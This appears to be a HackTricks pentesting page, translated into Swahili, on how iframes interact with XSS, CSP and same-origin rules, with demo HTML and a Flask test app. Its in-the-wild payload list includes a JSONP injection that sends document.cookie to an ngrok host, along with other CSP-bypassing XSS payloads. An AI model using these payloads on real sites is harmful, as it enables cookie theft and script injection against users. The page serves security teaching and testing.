hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

9 KiB

Iframes katika XSS, CSP na SOP

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Iframes katika XSS

Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio na iframe:

  • Kupitia src ikionyesha URL (URL inaweza kuwa ya asili tofauti au sawa)
  • Kupitia src ikionyesha maudhui kwa kutumia itifaki ya data:
  • Kupitia srcdoc ikionyesha maudhui

Kupata Vipimo vya Mzazi na Mtoto

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Ikiwa utapata html iliyopita kupitia seva ya http (kama python3 -m http.server) utaona kwamba scripts zote zitatekelezwa (kwa kuwa hakuna CSP inayozuia hilo). Mzazi hataweza kupata upatikanaji wa secret var ndani ya kifungu chochote na iframes if2 & if3 (ambazo zinafikiriwa kuwa tovuti moja) pekee ndizo zinaweza kupata upatikanaji wa siri kwenye dirisha la awali.
Tafadhali angalia jinsi if4 inavyochukuliwa kuwa na asili ya null.

Iframes na CSP

{% hint style="info" %} Tafadhali, angalia jinsi katika kuzidi kwa ifuatayo, jibu kwa ukurasa ulio na iframe haina kichwa cha CSP kinachozuia utekelezaji wa JS. {% endhint %}

Thamani ya self ya script-src haitaruhusu utekelezaji wa msimbo wa JS ukitumia itifaki ya data: au sifa ya srcdoc.
Hata hivyo, hata thamani ya none ya CSP itaruhusu utekelezaji wa iframes ambazo huweka URL (kamili au tu njia) kwenye sifa ya src.
Hivyo ni rahisi kuzidi CSP ya ukurasa na:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Tafadhali angalia jinsi CSP ya awali inaruhusu utekelezaji wa skripti ya ndani.
Hata hivyo, tu skripti za if1 na if2 zitatekelezwa lakini if1 pekee itaweza kufikia siri ya mzazi.

Hivyo basi, ni rahisi kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia fremu hata na script-src 'none'. Hii inaweza pia kufanywa kwa kudhuru kituo cha JSONP cha tovuti ile ile.

Unaweza kufanya majaribio haya na hali ifuatayo ambapo kuki inaibiwa hata na script-src 'none'. Fanya programu iende na ufikie kwa kutumia kivinjari chako:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Malipo Mengine Yaliyopatikana kwenye Mbuga

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Maudhui ndani ya iframe inaweza kuwekwa chini ya vizuizi zaidi kupitia matumizi ya sifa ya sandbox. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.

Inapotumiwa, sifa ya sandbox inaweka vizuizi kadhaa:

  • Maudhui yanachukuliwa kama yanatoka kwenye chanzo kimoja.
  • Jaribio lolote la kuwasilisha fomu linazuiliwa.
  • Utekelezaji wa scripts unakatazwa.
  • Upatikanaji wa APIs fulani unalemazwa.
  • Inazuia viungo kutokana na kuingiliana na muktadha mwingine wa kuvinjari.
  • Matumizi ya programu-jalizi kupitia <embed>, <object>, <applet>, au vitambulisho vinavyofanana haviruhusiwi.
  • Uvinjari wa muktadha wa kuvinjari wa kiwango cha juu cha maudhui na maudhui yenyewe unazuiliwa.
  • Vipengele ambavyo vinachochea moja kwa moja, kama vile kucheza video au kufanya fomu zifanye kazi, vinazuiliwa.

Thamani ya sifa inaweza kuachwa tupu (sandbox="") ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kama orodha ya thamani maalum zinazotenganishwa na nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes katika SOP

Angalia kurasa zifuatazo:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!